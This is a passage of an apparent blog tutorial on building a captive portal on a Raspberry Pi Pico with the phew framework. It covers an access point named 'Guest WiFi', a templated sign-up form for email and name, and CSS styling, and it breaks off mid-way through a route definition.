&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftnw3dte32ji6uzcnbsjp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftnw3dte32ji6uzcnbsjp.png" width="307" height="205"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Programming the Captive Portal
&lt;/h2&gt;

&lt;p&gt;Similar to the well-known framework &lt;a href="https://flask.palletsprojects.com/en/3.0.x/quickstart/#a-minimal-application" rel="noopener noreferrer"&gt;Flask&lt;/a&gt;, phew simplifies web application development. With just a few lines of code, combining annotations and plain Python functions, handlers for specific HTTP requests can be created. While this blog article is not an exploration of this framework itself, it will cover most of its functions nevertheless, but geared towards creating a captive portal.&lt;/p&gt;

&lt;p&gt;The following code starts a local access point and a webserver that responds to the default route &lt;code&gt;/&lt;/code&gt; with a text message. All other requests will be responded with the status code &lt;code&gt;404&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;access_point&lt;/span&gt;

&lt;span class="n"&gt;SSID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Guest WiFi&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;start_portal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello from Raspberry Pico&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text/html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@server.catchall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;catchall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Not found&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;starting ...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;ap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;access_point&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SSID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ifconfig&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;access point ip: #&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To run this code, you can create a &lt;code&gt;main.py&lt;/code&gt; file in the projects root directory with this code as its content, or just click on the Run button. Once the script is started, the local endpoint becomes available. Connect to it, then open &lt;code&gt;http://192.168.4.1&lt;/code&gt; in your browser.&lt;/p&gt;

&lt;p&gt;The Thonny terminal prints a simplified access log:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;starting ...
access point ip: &lt;span class="c"&gt;#192.168.4.1&lt;/span&gt;
2024-09-29 15:07:56 &lt;span class="o"&gt;[&lt;/span&gt;info     / 162kB] &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; starting web server on port 80
2024-09-29 15:08:58 &lt;span class="o"&gt;[&lt;/span&gt;info     / 153kB] &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; GET / &lt;span class="o"&gt;(&lt;/span&gt;200 OK&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;284ms]
2024-09-29 15:08:58 &lt;span class="o"&gt;[&lt;/span&gt;info     / 162kB] &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; GET /favicon.ico &lt;span class="o"&gt;(&lt;/span&gt;404 Not Found&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;29ms]
2024-09-29 15:09:42 &lt;span class="o"&gt;[&lt;/span&gt;info     / 155kB] &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; GET /menu.html &lt;span class="o"&gt;(&lt;/span&gt;404 Not Found&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;278ms]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Rendering a Web Page
&lt;/h2&gt;

&lt;p&gt;Phew also supports templated web pages. Let’s use this feature to show a web page with a form asking for the users e-mail address and name.&lt;/p&gt;

&lt;p&gt;In the Pico’s filesystem, create the file &lt;code&gt;www/index.html&lt;/code&gt; with this content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&lt;/span&gt; &lt;span class="na"&gt;lang=&lt;/span&gt;&lt;span class="s"&gt;"en"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;charset=&lt;/span&gt;&lt;span class="s"&gt;"UTF-8"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"viewport"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"width=device-width, initial-scale=1.0"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;{{ title }}&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"style.css"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;{{ title }}&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"#"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Email:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;

        &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Name:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;

        &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"surname"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Surname:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"surname"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"surname"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;

        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"checkbox"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"agree"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"agree"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"agree"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;I agree to the terms and conditions&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;

        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Submit"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, in the phew app, change the source code to include the template and forward the &lt;code&gt;title&lt;/code&gt; parameter. Change the &lt;code&gt;start_portal&lt;/code&gt; method as shown:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;

&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;www/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/index.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;start_portal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;index.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Guest Wifi&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The template is rendered - but without any styling, this looks rather untrustworthy.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxbtfw1fe4yfjk78jhzsm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxbtfw1fe4yfjk78jhzsm.png" width="291" height="314"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Serving CSS
&lt;/h2&gt;

&lt;p&gt;Let’s add additional styling. Create the file &lt;code&gt;www/style.css&lt;/code&gt; with this content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nt"&gt;body&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;flex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;justify-content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;align-items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;flex-direction&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;column&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100vh&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;margin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#f0f0f0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.box&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;*&lt;/span&gt;&lt;span class="nd"&gt;:first-child&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;align-self&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;stretch&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.form-container&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;400px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;400px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;20px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;margin-top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#ffffff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;box-shadow&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;4px&lt;/span&gt; &lt;span class="m"&gt;10px&lt;/span&gt; &lt;span class="n"&gt;rgba&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"text"&lt;/span&gt;&lt;span class="o"&gt;],&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"email"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;margin-bottom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="m"&gt;#ccc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;4px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"checkbox"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;margin-right&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"submit"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;10px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#007bff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="no"&gt;white&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;4px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;pointer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"submit"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="nd"&gt;:hover&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#0056b3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To serve the CSS, a new route is required too:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/style.css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;style&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
